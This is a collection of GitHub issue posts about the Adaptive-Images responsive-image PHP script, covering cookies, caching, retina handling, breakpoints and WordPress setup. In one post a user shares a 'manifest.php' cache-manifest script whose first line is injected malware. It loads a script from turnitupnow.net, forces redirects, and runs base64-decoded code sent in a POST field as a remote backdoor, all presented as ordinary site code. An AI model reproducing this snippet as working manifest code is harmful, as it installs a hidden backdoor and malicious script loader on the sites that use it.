For now, every image is scaled down to the resolution breakpoints. But sometimes it would even more efficient, if we can define relative or fix image sizes for multible breakpoints on single images via src-parameter. For defining breakpoints in the html, it would be a good idea to give each breakpoint a name like in syze.js

<img src="imgage.jpg?bp=small-100%_full-400px" />

Why?
If we have a responsive image half size the sreen-width of a device we waste a lot of bandwidth. This problem is even worse, if we support retina resolutions.

I cant seem to get this working (using the js version). It doesnt add images to ai-cache folder (set to 774) and I have edited the htaccess file as well.

http://eischensbar.com/menu.html

Any thoughts?

Documentation in instructions.htm states:

Copy adaptive-images.php and .htaccess into the root directory of your site.

Though the files in the repository are image-routing.php and ai-cookie.php.

I have a site that uses adaptive-images which I recently changed to using the html5 boilerplate. Adaptive images no longer appears to be working on this site.

Is there anything that has to be done to either script to get it to function properly?

(I've asked this question of the html5bp project as well)

Send different caching responses depending on whether the user had a cookie or not.

No cookie = cache, but also ensure the browser asks the server if there's a newer version on every load.
Cookie = cache with far-future expires and don't allow the browser to request if an updated version exists.

Rationale:
Right now AI always does the latter, It'd be good to do as planned once I get a more advanced Retina handling process working. This will solve an issue where cookie-race conditions caused a retina display to download a non-retina image and cache it, but may on the second request now have a cookie and benefit from a re-request.

Does anyone know what to place in the $resolutions section in the adaptive-images.php file if you have multiple min and max values in your CSS?

For example I have the following media queries:

@media screen and (min-width: 1152px) {
...

}

@media screen and (min-width: 801px) and (max-width: 1024px) {
...

}

@media screen and (min-width: 481px) and (max-width: 800px) {
...

}

@media screen and (max-width: 480px) {
...

}

@media screen and (max-width: 320px) {
...

}

So would I just need to place this:

$resolutions = array(1152, 1024, 801, 800, 481, 480, 320)

OR

$resolutions = array(1152, 1024, 800, 480, 320)

Sorry if this sounds like a silly question but I am new to this method as well as responsive design.

There is a bug in Internet Explorer (only 7/8 tested so far), it is not setting a cookie. Example of the bug can be seen by loading http://adaptive-images.com on Internet Explorer.

I have no clue why - looking into it ASAP, this is obviously a big problem (though hopefully simple to fix).

Using adaptive images for the first time. Happy with the results for JPG files, but I noticed PNG is another story: a 1040px wide png is 56kb, while the generated png that's 480px wide is 106kb. That's no improvement of course.

Is there a setting I can change to fix this?

Is there any chance you could show portrait placed photos in your examples? Are they supported?

May have missed this in the documentation, but how does AI handle pixel density? E.g. does it play well with retina displays allowing [email protected] style images to be loaded for retina displays?

Sometimes, the generated image is bigger than the original, since the goal is to save bandwidth, this is a problem. The script could check if the new filesize is smaller than the original. This occurs most when the original image size is close to a break-point : say a 1000px wide image and the default 992px break-point.

Also, I think the filesize could be brought down further by removing meta-data (GPS, Camera infos, etc.) from the resized pictures like the EXIF datas in jpegs. GD even tends to add comment when resizing.

I read somewhere that past 10k in filesize, jpeg images should be saved as progressive. The greater the filesize, the better it is to use progressive encoding. imageinterlace() does exactly that. Maybe we can save a tiny bit more there.

It appears that sometimes FireFox does not set the cookie before requesting an . This only happens on the very first visit to a site, all subsequent page-loads work correctly. This problem is not found with Safari or Chrome.

Any thoughts as to creating a version that runs on Nginx?

Hi and thanks again for the good work with this.

We often find ourselves working on projects that require thumbnails, and was wondering if this is something that could fit into the adaptive images plugin? We are designers, and know little about php, but we have seen a couple of other thumbnail php generators, but it would be cool if adaptive images could do this too, and hope this is not a stupid request :)

Cheers.

I have a site which is set up to use Adaptive-Images. It is a magazine-engine for which AI seems incredibly well suited.

http://straathof.acadnet.ca/autumn/

The idea behind this site is that each 'issue' of a magazine gets it's own web folder in which all assets are held, including images. This is done so a legacy of this site will never be dependent on the whims of other sites on the internet (long-tail-legacy attempt)

Originally the sites used their own php-system for handling the manifest cache of each file:

 <?php                                              global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

header('Content-Type: text/cache-manifest');
echo "CACHE MANIFEST\n";

$hashes="";

$dir = new RecursiveDirectoryIterator(".");
foreach(new RecursiveIteratorIterator($dir) as $file) {
    if($file->isFile() &&
        $file != "./manifest.php" &&
        substr($file->getFileName(), 0, 1) !=".")
    {
        echo $file ."\n";

        $hashes .= md5_file($file);

    }
}

echo "# Hash: " . md5($hashes) . "\n";

 ?>

This script parses through all files in '/autumn' and makes a manifest which is then used for the html5-cache. It seems to be very efficient. A-I, however, seems to only make the images in the ai-cache folder of the root of the system, which is not parsed by the manifest.php file.

Is there a way to get A-I to make the folder of images within each folder of an issue, instead of a general folder in the root of the site itself. I can see the images there, but it isn't working.

I tried changing the ai-cache url to autumn/ai-cache, but that didn't work.

Hi!

When using no "RewriteCond %{REQUEST_URI} .... " everything works perfect. However, I'd like to restrict AI from using my assets folder as shown in the example. So I used "RewriteCond %{REQUEST_URI} !images/assets"

My assets are under "images/assets". When trying to access an image in "images/blog" it does not process it and place it in the ai-cache folder.

Thanks in advance

No mattter if I resize my browser or use a mobile user agent, the ai-cache folder remains empty.

I don't know how to actually debug adaptibe-images.php.

How should I know if the script works at all?

I implemented this on my WordPress website: http://wpconsult.net, but the image quality is aweful. Any ideas?

Hi Matt,

Do you have an alternative installation for server that don't allow Options +FollowSymlinks?

I receive the following error and contact the customer support and they told me the server does not allow this option.

[Sun Jun 03 10:47:57 2012] [alert] /home7/killersu/public_html/.htaccess: Option FollowSymlinks not allowed here
[Sun Jun 3 10:47:57 2012] [internal] /home7/killersu/public_html/.htaccess: # AUTO-REPAIRED # Options +FollowSymlinks
[Sun Jun 03 10:47:57 2012] [alert] /home7/killersu/public_html/.htaccess: Option FollowSymlinks not allowed here

Having trouble with your Wordpress install? Please comment here.

Remember that any problems are very likely to be something with your server configuration or Wordpress set up. As those things can be so varied, please can you give as much info as possible about them "it doesn't work" isn't enough for anyone to help you :)

Are you running WP on a domain or in a sub-folder of a domain? Are you running any plugins or themes that may be making use of a .htaccess file? What server and software versions are you running? etc. Everything you think might be relevant. Thanks.

I use the default js script with a Wordpress 3.3 website and it works perfect.

echo "<script>document.cookie='resolution='+Math.max(screen.width,screen.height)+'; path=/';</script>";

When i change the default js with the alternate one for retina support (copied from the adaptive-images website) inside the echo command:

echo "<script>document.cookie='resolution='+Math.max(screen.width,screen.height)+("devicePixelRatio" in window ? ","+devicePixelRatio : ",1")+'; path=/'; </script>";

it returns a parse error:
Parse error: syntax error, unexpected T_STRING, expecting ',' or ';'

I've noticed that for the script you posted on your reply for Issue #36 (closed) you use different syntax:

<script>document.cookie='resolution='+(Math.max(screen.width,screen.height)*("devicePixelRatio" in window ? devicePixelRatio : 1))+'; path=/';</script>

I tried this version too but still returns the same error.

Hi !

I found that no images are being generated, as the ai-cache folder is empty after accessing the webpage on my mobile browser. I used in the .htaccess:

RewriteCond %{REQUEST_URI} !live/images/assets

A file from "live/images/projects/1/thumb.jpg" or "live/images/header.png", for example, should be taken into account then, right?

It first gave me an error that mkdir() couldn't be executed, so I created the folder myself.

Thanks

I tried implementing this but when I tried navigating to my website the image paths appeared broken. I was referencing them in the HTML as img src="img/IMAGENAME.jpg". Have you encountered this problem? If so, how do I fix it? I was sure to set everything up as outlined (added .htaccess, adaptive-images.php, and writable ai-cache directory to root, added line of script to head of HTML page). Thanks for the help!

Hi Matt,
First off - thanks for creating Adaptive Images, could prove incredibly useful for WordPress development (instead of using add_image_size() which is a hog). I'm testing this out a bit more (on a static PHP page) and having a bit of trouble. Here's my setup:

Test URL: http://yhmags.com/adaptive-images

adaptive-images.php and the .htaccess file in the root of the server

with the following config:

$resolutions   = array(1200,980,600,400); // the resolution break-points to use (screen widths, in pixels)
$cache_path    = "adaptive-images/img/ai-cache"; // where to store the generated re-sized images. Specify from your document root!
$jpg_quality   = 75; // the quality of any generated JPGs on a scale of 0 to 100
$sharpen       = TRUE; // Shrinking images can blur details, perform a sharpen on re-scaled images?
$watch_cache   = TRUE; // check that the adapted image isn't stale (ensures updated source images are re-cached)
$browser_cache = 60*60*24*7; // How long the BROWSER cache should last (seconds, minutes, hours, days. 7days by default)

I am seeing the initial cache folder created /adaptive-images/img/ai-cache/ but it only includes a 1200 subfolder no matter what screen size I resize the browser to (and refresh). Am I missing the ball entirely here? Any help would be greatly appreciated. Thanks!

I read that this issue was fixed, but I still see it. Should I set the file to False, what happens to mobile devices then?

Browsers currently have an inherent problem with setting cookies. It can't be relied upon to consistently set a cookie before requesting an image.

In order for $mobile_first to be a safe and reliable option I need to gather known desktop browser agent strings, so that when detected AI automatically ignores the $mobile_first switch (but any un-matched strings obey the $mobile_first setting).

Hello Matt,

Great work. Could you please tell me if this has any issues on the SEO Value of the Images?

I observed that the source remains the same at all times. Each time there is an img call - it goes to the php file which renders the image.

What about the search engine robots? What happens when they ask for the page? Is the original image given of something else?

I was unsure so I asked - nothing like an error or something.

Cheers!
Pushpinder

Should the script only save out an image for the first value in the resolution array—in my case 1392—or all of them?
Even when I resize my browser window down to 400px it still serves up that 1392px image.

Is this the correct behaviour?

Cheers
Dan

Hi,

i have to start by saying this plugin is great, no fuss and simple.

Had an issue today, where images that had uppercase file endings did not get resized.
I.e. images that where named image.JPG did not resize, and images named image.jpg did.

Is this a relevant issue, or does it have something to do with the cms (http://staceyapp.com)?
Ps: I hardly know anything about php or server side scripts, so be gentle.

Hi Matt,

I really love the script. I'm trying to get it working on a new responsive site I'm building but I'm having some troubles. I've spent all day trying to suss it out myself but I'm a bit stuck now.

I'm outputting an error in the PHP file and I'm not getting a requested URI or requested file in the error message. It is replacing all the jpg images though so it is trying to run.

It's not created any folders in the ai-cache dir though.

I'm open to any suggestions.

Thanks

I can't it to work on my website. It only works when i right-click the image and open in new tab.
Resizing this new tab makes the image adapt to screen size, but in the actual page it doesn't.

I tried the suggestion to rewrite every image to test.jpg in the htaccess file. This worked.
Also put the sendErrorImage() in the AI.php. This causes the image to display black with error message inside.

I don't know how to go on from here, i'm so close...

Any help would be greatly appreciated

Thanks in advance!

PS. I work locally with WAMP. Also the ai-cache folder wasn't created.

The file works, but it's pretty inelegant.

Tidy up the instructions/readme files and provide much more comprehensive details. Include Wordpress specific instructions.

May split resolutions-settings in retina and normal and merge them only for $pixel_density != 1. Worked for me.

When $mobile_first is set to TRUE and no cookie is detected Adaptive Images sends the lowest resolution version to the browser.

When $mobile_first is set to FALSE it is currently sending the original resolution image, as though Adaptive Images was not run. It should send the highest resolution re-sized image instead.

Hi there,
First thanks for your work on this project, it is very useful indeed!

Here's the context: my webpages are running with the file:// domain within phonegap (web app), but some images (the ones I want to resize dynamically) are coming from the server.
I wanted to use the simple javascript solution but the cookie needs to be set on another domain: the domain that hosts the images. Setting the cookie from the js is useless as they are not within the same domain.

I've considered using the ai-cookie script but I felt the css code was feeling wrong for some reason, furthermore it was missing the new retina display ratio setting (understandably as you do not support the ai-cookie solution).

Here's my attempt to try to mix both, it seems to work ok so far, but I want your opinion on it, and if you find it useful I could send you a pull request for it.

js code for the website:

var server = 'http://myserver.com';
var aicookie_script = '/ai-cookie.php';
var param1 = 'res='+Math.max(screen.width,screen.height);
var param2 = 'dpr='+("devicePixelRatio" in window ? window.devicePixelRatio : '1');
var url = server + aicookie_script + '?' + param1 + '&' + param2;
// preload the 'image' (it's actually an empty image : just an excuse to get that cookie set)
var imageObj = new Image();
imageObj.src = url;

ai-cookie.php:

<?php
$resolution = isset($_GET['res']) ? intval($_GET['res']) : 3000; // we need a number, so give it something unfeasable
$devicePixelRatio = isset($_GET['dpr']) ? intval($_GET['dpr']) : 1;

// setcookie will htmlencode the comma there, but luckily this will get decoded when read back using $_COOKIE
setcookie('resolution', $resolution.','.$devicePixelRatio, time()+604800,'/'); // set the cookie

// respond with an empty content
header('HTTP/1.1 204 No Content');
exit();

I suppose this doesn't prevent the issue you describe in the instructions document: the first page to be loaded will not have the cookie set early enough so the resize feature will only work from the second page. right?
I'm fine with that limitation, at least I can now use the wonderful adaptive images with the server and the webpage on a different domain (with phonegap).

Let me know what you think of it.

Cheers

Hi, great script.

Lately there's been a push toward using the em measurement for responsive css, is there any consideration for this in the future?

Thanks

v

p.s. Can't figure how to add the "wish" label to this issue.

I'd like to get AI working more easily when installed in sub-directories of the current TLD, which seems to be a common use case.

Sorry that is such a dumb question, but I installed the files and am confused on how to know whether AI is actually working. Can someone point me to a quick test?

I have an iPhone and am decent with Chrome Developer tools but not exactly sure where to look to check image size as I change device-width.

thanks,
tim

Hi,

Just implementing Adaptive-Images on two separate sites for the first time. On both sites I'm getting an JS error in IE (8), which is referring to the script reference:

Message: Unterminated string constant
Code: 0

Any ideas why this might be?

It does so now in a somewhat ham-fisted way. Implement a nicer and more efficient solution...

Hi, and thanks for a brilliant script.

I have a problem when Adaptive-Images resizes a gif animation. It destroys the animation frames and freezes.
Or am i doing it wrong?

Thanks again.

I'm running WordPress 3.4.1 on a completely new, clean install. No plug-ins, nothing, just the Twenty Eleven theme straight out of the box. It's installed in the root, not in a subfolder. I haven't set pretty permalinks so WP hasn't generated a .htaccess file.

I've added the AI .htaccess and adaptive-images.php files (both unchanged, initially) from AI 1.5.2 to the root of my WP installation. I've added the JS to the header.php file.

On loading the page, I get missing images for every image on the page. I've followed the thread here - #32 - but the images are still missing and I don't get a black image with an error message. My images all return a 404.

I've attempted to follow the guidance in #18 but without success.

The ai-cache folder is not generated. I've tried creating it manually with permissions of 755 and 777 but nothing writes into the folder.

I've manually changed the JS to '<script>document.cookie='resolution=480; path=/';</script>' to simulate a mobile device screen size but no bananas.

I've looked at what feels like every article ever written on AI and WordPress. It seems that some people can get happily get it to work; others not. What I haven't been able to find is a definitive solution from anyone on how to make it work.

As per the instructions.htm file in the AI download I have tried to do some reading up on how to use mod_rewrite - though I haven't been able to find an answer.

I don't know where to turn next - any guidance or assistance would be appreciated.

Not everyone runs PHP. I don't know other languages and don't have the time to learn them (my day job is a front-end designer/developer). I'd love to get some people on board with porting this project to their preferred language.

I've put a couple of tweets out. I'd be grateful if anyone can either do this, or spread the word.

This is pretty much a spammers' dream come true. Any site running this script (and you can check from the requests that it does run) will allow an attacker to install their own scripts for zombie botnets and the like. Only the server will need to write to the cache, so it makes more sense to use the /tmp instead.

We are using the adaptive-images script on a site we are developing While doing tests on the iPad we noticed that when the images are requested before the cookie is set the images are sent in 480 resolution and that causes the image to look awkward when it is displayed on a bigger container.

The reason for the above behavior is that the iPad user agent container the "Mobile" string in it so the script send the 480 resolution image because of this code:

// We send the lowest resolution for mobile-first approach, and highest otherwise
$resolution = $is_mobile ? min($resolutions) : max($resolutions);

After refreshing the page the cookie is correctly set and the image is sent with the right size.

Hi again,

I added these excludes to the htaccess file:
RewriteCond %{REQUEST_URI} !wp-admin
RewriteCond %{REQUEST_URI} !wp-includes

is that the correct syntax, because the admin icons look weird

I've implemented the adaptive-images script on my portfolio site, but I found that when I browse the site with my iPad it keeps sending me images 480 pixels wide, rather than 768 pixels.

I kept the resolution settings as the defaults:

$resolutions   = array(1382, 992, 768, 480);

Help?

I'm curious about the rationale for using screen.width and screen.height when setting the resolution, instead of using window.innerWidth and window.innerHeight instead. Every increasing monitor sizes means that fewer and fewer people will be setting their browser to full-screen and will allow for greater ranges of dynamic images. This would also allow for easier testing via desktop browsers by simply resizing the browser and refreshing.

Could be combined with this pull request to include high-resolution devices as well: https://github.com/fm86/Adaptive-Images/commit/8fc66591f2345224a3ec239042983c6d8732d679

The new script would be:

document.cookie='resolution='+Math.max(window.innerWidth,window.innerHeight)+'; expires=; path=/';

Would you mind if I do a port to Java?